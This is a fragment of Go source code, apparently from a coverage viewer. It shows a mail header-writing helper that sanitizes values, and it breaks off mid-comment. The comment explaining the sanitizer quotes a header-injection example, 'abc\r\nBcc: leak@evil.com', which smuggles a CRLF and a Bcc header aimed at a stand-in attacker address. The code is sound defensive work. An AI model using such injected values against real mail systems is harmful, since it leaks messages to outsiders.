(buf *strings.Builder)
| 246 | } |
| 247 | |
| 248 | func headerWriter(buf *strings.Builder) func(string, string) { |
| 249 | return func(key, value string) { |
| 250 | buf.WriteString(textproto.CanonicalMIMEHeaderKey(key)) |
| 251 | buf.WriteString(": ") |
| 252 | buf.WriteString(sanitizeHeaderValue(value)) |
| 253 | buf.WriteString("\r\n") |
| 254 | } |
| 255 | } |
| 256 | |
| 257 | // sanitizeHeaderValue strips CR and LF to prevent header injection. |
| 258 | // Without this, an attacker-controlled value like "abc\r\nBcc: leak@evil.com" |
no test coverage detected